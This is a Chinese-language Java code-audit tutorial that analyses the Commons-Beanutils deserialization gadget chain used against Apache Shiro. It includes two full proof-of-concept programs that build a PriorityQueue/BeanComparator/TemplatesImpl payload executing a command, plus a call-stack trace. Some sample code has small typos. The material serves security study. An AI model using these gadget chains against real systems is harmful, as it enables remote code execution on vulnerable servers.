链子分析 - Commons-Beanutils利用链分析 - 《Java 代码审计》

0x01 前言
0x02 相关知识
0x03 利用链1
0x04 利用链2
0x05 总结

0x01 前言

commons-beanutils是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils，我们可以很方便的对bean对象的属性进行操作。Commons-Beanutils利用链也叫CB链，需要注意跟CC链区分。CB链再shiro反序列化中派上大用。Shiro是默认依赖Commons-Beanutils的，那么就可以利用CommonsBeanutils反序列化链进行构造payload。

<dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.3</version>
</dependency>

0x02 相关知识

Java Bean

Java Bean是对一种类的称呼，具备以下特征的类即可称为java bean。

提供一个默认的无参构造函数。
需要被序列化并且实现了 Serializable 接口。
可能有一系列可读写属性，并且一般是 private 的。
可能有一系列的 getter 或 setter 方法。

Java Bean 的作用也就是把一组数据组合成一个特殊的类便于传输。 Java Bean 可以用在图形界面的可视化设计、JSP 封装数据保存到数据库、Android AIDL 跨进程通信，Spring框架等场景中。
以下代码便是一个Java Bean。

public class Person {
    privete String name;
    private int age;
    public void setName(String newName) {
        name = newName;
    }
    public String getName() {
        return name;
    }
    public void setAge(int neweAge) {
        age = newAge;
    }
    public int getAge() {
        return age;
    }
}

PropertyUtils.getProperty

CommonsBeanutils中存在一个方法，org.apache.commons.beanutils.PropertyUtils.getProperty，该方法可以实现对Java Bean的getter方法的调用。PropertyUtils.getProperty(new Person(),"name")则会调用它的getName()方法。

Person person = new Person();
person.setName("张三");
System.out.println(PropertyUtils.getProperty(person,"name"));
// output：张三

BeanComparator

org.apache.commons.beanutils.BeanComparator实现了 Comparator 接口，可以用来比较两个Bean的属性等内容。其中compare方法调用了PropertyUtils.getProperty方法。在初始化BeanComparator对象时如果没有传入comparator则会默认使用ComparableComparator类，而该类是属于commons-collections依赖的，在Shiro中默认包含一部分commons-collections的类，但是不完全，比如就没有包含ComparableComparator类。

TemplatesImpl

经过对CC链的分析，对于TemplatesImpl类已经很熟悉了，在很多链中TemplatesImpl类加载恶意字节码作为sink实现最终恶意代码执行。在CC链中TemplatesImpl作为sink都需要调用newTransformer方法，而在TemplatesImpl类中存在一个getter方法会间接调用newTransformer方法。

0x03 利用链1

在既存在cc和cb依赖的情况下，利用链如下：

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CB {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化，设置构造函数主体为runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true)
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
        BeanComparator beanComparator = new BeanComparator();
        beanComparator.setProperty("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field field2 = priorityQueue.getClass().getDeclaredField("queue");
        field2.setAccessible(true);
        field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
        Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
        field3.setAccessible(true);
        field3.set(priorityQueue,beanComparator);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(priorityQueue);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        objectInputStream.readObject();
    }
}

整体代码跟CC链差不多，主要是设置BeanComparator的property属性。

0x04 利用链2

Commons-beanutils.BeanComparator 的构造方法，其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator，所以我们需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖，同时，因为这个漏洞是应用于反序列化场景，所以要求这个类还必须继承 Serializable 接口，该静态对象java.lang.String.CASE_INSENSITIVE_ORDER满足条件。这也是实际上进行shiro反序列化时常用的链。

利用链如下：

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CB {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化，设置构造函数主体为runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
        BeanComparator beanComparator = new BeanComparator();
        beanComparator.setProperty("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field field2 = priorityQueue.getClass().getDeclaredField("queue");
        field2.setAccessible(true);
        field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
        Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
        field3.setAccessible(true);
        field3.set(priorityQueue,beanComparator);
        Field field4 = beanComparator.getClass().getDeclaredField("comparator");
        field4.setAccessible(true);
        field4.set(beanComparator,String.CASE_INSENSITIVE_ORDER);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(priorityQueue);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        objectInputStream.readObject();
    }
}

跟利用链1唯一的差别就是反射更改了beanComparator的comparator属性为String.CASE_INSENSITIVE_ORDER。

 PriorityQueue.readObject()
     PriorityQueue.heapify()
       PriorityQueue.siftDown()
         PriorityQueue.siftDownUsingComparator()
           BeanComparator.compare()
             PropertyUtils.getProperty()
                 TemplatesImpl.getOutputProperties()
                   TemplatesImpl.newTransformer()
                       TemplatesImpl.getTransletInstance()
                            TemplatesImpl.defineTransletClasses()
                                  TransletClassLoader.defineClass()
                            newInstance()
                                  Runtime.getRuntime().exec("calc.exe")

0x05 总结

CB链主要应用场景在shiro反序列化中，sink是TemplatesImpl，source是priorityQueue#readObject。中继使用BeanComparator类。